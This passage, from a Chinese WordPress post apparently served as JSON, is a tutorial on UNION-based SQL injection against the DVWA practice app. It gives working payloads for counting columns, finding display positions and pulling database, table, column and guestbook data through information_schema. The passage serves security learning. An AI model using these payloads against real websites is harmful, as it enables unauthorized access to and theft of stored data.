class=\"wp-block-heading\">3.\u5224\u65ad\u8868\u4e2d\u5217\u6570<\/h4>\n\n\n\n<p>\u4e3a\u4e86\u65b9\u4fbf\u540e\u7eed\u83b7\u53d6\u6570\u636e\uff0c\u9700\u8981\u5148\u77e5\u9053\u67e5\u8be2\u7684<strong>\u8868\u4e2d\u663e\u793a\u7684\u5b57\u6bb5\u6570<\/strong>\uff0c\u53ef\u4ee5\u4f7f\u7528order by\uff08\u7528\u4e8e\u6839\u636e\u6307\u5b9a \u7684\u5217\u5bf9\u7ed3\u679c\u96c6\u8fdb\u884c\u6392\u5e8f\u3002\u5f53order by\u7684\u6570\u5b57<strong>\u5927\u4e8e<\/strong>\u5f53\u524d\u7684\u5217\u6570\u65f6\u5019\u5c31\u4f1a<strong>\u62a5\u9519<\/strong>\uff0cSQL\u6ce8\u5165\u5229\u7528\u8fd9\u4e2a\u7279\u6027\u6765\u5224 \u65ad\u5217\u6570\uff09\u6765\u8fdb\u884c\u5224\u65ad\u3002<\/p>\n\n\n\n<p>\u4f8b\uff1a<code>1' order by 1%23<\/code>(%23\u662f#\u7684url\u7f16\u7801\uff0c\u6ce8\u91ca\u6389\u540e\u9762\u7684\u5355\u5f15\u53f7)<\/p>\n\n\n\n<p>\u5982\u679c\u5f53<code>order by 2%23<\/code>\u65f6\u6210\u529f\uff0c\u800c<code>order by 3%23<\/code>\u65f6\u5931\u8d25\uff0c\u5219\u5217\u6570\u4e3a2<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">4.\u786e\u5b9a\u663e\u793a\u4f4d(\u56de\u663e\u4f4d)<\/h4>\n\n\n\n<p>\u5728\u4e00\u4e2a\u7f51\u7ad9\u7684\u6b63\u5e38\u9875\u9762\uff0c\u670d\u52a1\u7aef\u6267\u884cSQL\u8bed\u53e5\u67e5\u8be2\u6570\u636e\u5e93\u4e2d\u7684\u6570\u636e\uff0c\u5ba2\u6237\u7aef\u5c06\u6570\u636e\u5c55\u793a\u5728\u9875\u9762\u4e2d\uff0c\u8fd9\u4e2a<strong>\u5c55\u793a\u6570\u636e\u7684\u4f4d\u7f6e<\/strong>\u5c31\u53eb<strong>\u663e\u793a\u4f4d<\/strong>\u3002<strong>UNION\u64cd\u4f5c\u7b26\u7528\u4e8e\u5408\u5e76\u4e24\u4e2a\u6216\u591a\u4e2aSELECT \u8bed\u53e5\u7684\u7ed3\u679c\u96c6<\/strong>\uff0cUNION\u7ed3\u679c\u96c6\u4e2d\u7684<strong>\u5217\u540d<\/strong>\u603b\u662f\u7b49\u4e8eUNION\u4e2d<strong>\u7b2c\u4e00\u4e2aSELECT\u8bed\u53e5\u4e2d\u7684\u5217\u540d<\/strong>\uff0c\u5e76\u4e14UNION \u5185\u90e8\u7684 SELECT \u8bed\u53e5\u5fc5\u987b\u62e5\u6709<strong>\u76f8\u540c\u6570\u91cf\u7684\u5217<\/strong>\u3002\u5217\u4e5f\u5fc5\u987b\u62e5\u6709<strong>\u76f8\u4f3c\u7684\u6570\u636e\u7c7b\u578b<\/strong>\u3002\u540c\u65f6\uff0c\u6bcf\u6761SELECT\u8bed\u53e5\u4e2d\u7684<strong>\u5217\u7684\u987a\u5e8f\u5fc5\u987b\u76f8\u540c<\/strong><\/p>\n\n\n\n<p>\u4f8b\uff1a\u8f93\u5165<code>1' union select 1,2%23<\/code>\u65f6\uff0c\u53ef\u4ee5\u53d1\u73b01\u548c2\u90fd\u56de\u663e\u5230\u9875\u9762\u4e2d\u4e86\uff0c\u8bf4\u660e\u8fd9\u4e24\u4e2a\u4f4d\u7f6e\u90fd\u53ef\u4ee5\u663e\u793a \u6570\u636e\u3002<\/p>\n\n\n\n<p>\u4e00\u822c\u4e0d\u67e5\u8be2union\u5de6\u8fb9\u7684\u5185\u5bb9\uff0c\u8fd9\u662f\u56e0\u4e3a\u7a0b\u5e8f\u5728\u5c55\u793a\u6570\u636e\u7684\u65f6\u5019\u901a\u5e38\u53ea\u4f1a<strong>\u53d6\u7ed3\u679c\u96c6\u7684\u7b2c \u4e00\u884c\u6570\u636e<\/strong>\uff0c\u6240\u4ee5\u53ea\u8981\u8ba9\u7b2c\u4e00\u884c\u67e5\u8be2\u7684\u7ed3\u679c\u662f<strong>\u7a7a\u96c6<\/strong>\uff0c\u5373union\u5de6\u8fb9\u7684select\u5b50\u53e5\u67e5\u8be2\u7ed3\u679c\u4e3a\u7a7a\uff0c\u90a3\u4e48 union\u53f3\u8fb9\u7684\u67e5\u8be2\u7ed3\u679c\u81ea\u7136\u5c31\u6210\u4e3a\u4e86\u7b2c\u4e00\u884c\uff0c\u6253\u5370\u5728\u7f51\u9875\u4e0a\u4e86\u3002\u6240\u4ee5<strong>\u8ba9union\u5de6\u8fb9\u67e5\u8be2\u4e0d\u5230<\/strong>\uff0c\u53ef\u4ee5 \u5c06\u5176\u6539\u4e3a<strong>\u8d1f\u6570<\/strong>\u6216\u8005\u6539\u4e3a<strong>\u6bd4\u8f83\u5927\u7684\u6570\u5b57<\/strong>\u3002<\/p>\n\n\n\n<p>\u4f8b\uff1a\u5f97\u77e5\u5217\u6570\u4e3a3\uff0c\u5219\u8f93\u5165<code>-1' union select 1,2,3%23<\/code>\uff0c\u5982\u679c\u9875\u9762\u663e\u793a\u4e862\u548c3\uff0c\u90a3\u4e48\u7b2c2\u5217\u548c\u7b2c3\u5217\u5c31\u662f\u663e\u793a\u4f4d<\/p>\n\n\n\n<p>\u627e\u5230\u663e\u793a\u4f4d\u540e\uff0c\u5c31\u53ef\u4ee5\u5c06\u6570\u5b57\u66ff\u6362\u4e3a\u6211\u4eec\u60f3\u8981\u67e5\u8be2\u7684\u6570\u636e\u3002<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">5.\u83b7\u53d6\u6570\u636e<\/h4>\n\n\n\n<h6 class=\"wp-block-heading\">1.\u83b7\u53d6\u6570\u636e\u5e93\u540d<\/h6>\n\n\n\n<pre class=\"wp-block-preformatted\">-1' union select 1,database()%23<\/pre>\n\n\n\n<p><code>database()<\/code>:\u67e5\u5e93\u540d<\/p>\n\n\n\n<h6 class=\"wp-block-heading\">2.\u83b7\u53d6\u6570\u636e\u5e93\u4e2d\u8868\u540d<\/h6>\n\n\n\n<pre class=\"wp-block-preformatted\">-1' union select 1,table_name from information_schema.tables where<br>table_schema='dvwa'%23<\/pre>\n\n\n\n<p><code>table_name <\/code>:\u8868\u540d<\/p>\n\n\n\n<p><code>information_schema.tables<\/code>:information_schema\u6570\u636e\u5e93\u4e2d\u5b58\u653e\u8868\u540d\u7684\u8868<\/p>\n\n\n\n<p><code>table_schema='dvwa'<\/code>:\u5e93\u540d\u4e3advwa<\/p>\n\n\n\n<h6 class=\"wp-block-heading\">3.\u83b7\u53d6\u8868\u4e2d\u5b57\u6bb5\u540d<\/h6>\n\n\n\n<pre class=\"wp-block-preformatted\">-1' union select 1,column_name from information_schema.columns where<br>table_name='guestbook' and table_schema='dvwa'%23<\/pre>\n\n\n\n<p><code>column_name<\/code>:\u5b57\u6bb5\u540d<\/p>\n\n\n\n<p><code>information_schema.columns<\/code>:information_schema\u6570\u636e\u5e93\u4e2d\u5b58\u653e\u5b57\u6bb5\u540d\u7684\u8868<\/p>\n\n\n\n<h6 class=\"wp-block-heading\">4.\u83b7\u53d6\u8868\u4e2d\u8bb0\u5f55<\/h6>\n\n\n\n<p>\u4f7f\u7528group_concat()\uff08\u5c06\u591a\u884c\u5408\u5e76\u6210\u4e00\u884c\uff09<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">-1' union select 1,group_concat(comment_id,comment,name) from guestbook%23<\/pre>\n\n\n\n<p><\/p>\n","protected":false},"excerpt":{"rendered":"<p>SQL\u6ce8\u5165\u6f0f\u6d1e 1.MYSQL 1\uff09MYSQL\u2014\u2014\u4e00\u4e2a\u6570\u636e\u5e93 2)SQL\uff08\u7ed3\u6784\u5316\u67e5\u8be2\u8bed\u8a00\uff09\u2014\u2014\u7528\u4e8e\u5b58\u53d6\u6570\u636e\u4ee5\u53ca [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-38","post","type-post","status-publish","format-standard","hentry","category-learn"],"_links":{"self":[{"href":"https:\/\/zhwj326.top\/index.php\/wp-json\/wp\/v2\/posts\/38","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zhwj326.top\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zhwj326.top\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zhwj326.top\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zhwj326.top\/index.php\/wp-json\/wp\/v2\/comments?post=38"}],"version-history":[{"count":1,"href":"https:\/\/zhwj326.top\/index.php\/wp-json\/wp\/v2\/posts\/38\/revisions"}],"predecessor-version":[{"id":39,"href":"https:\/\/zhwj326.top\/index.php\/wp-json\/wp\/v2\/posts\/38\/revisions\/39"}],"wp:attachment":[{"href":"https:\/\/zhwj326.top\/index.php\/wp-json\/wp\/v2\/media?parent=38"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zhwj326.top\/index.php\/wp-json\/wp\/v2\/categories?post=38"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zhwj326.top\/index.php\/wp-json\/wp\/v2\/tags?post=38"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}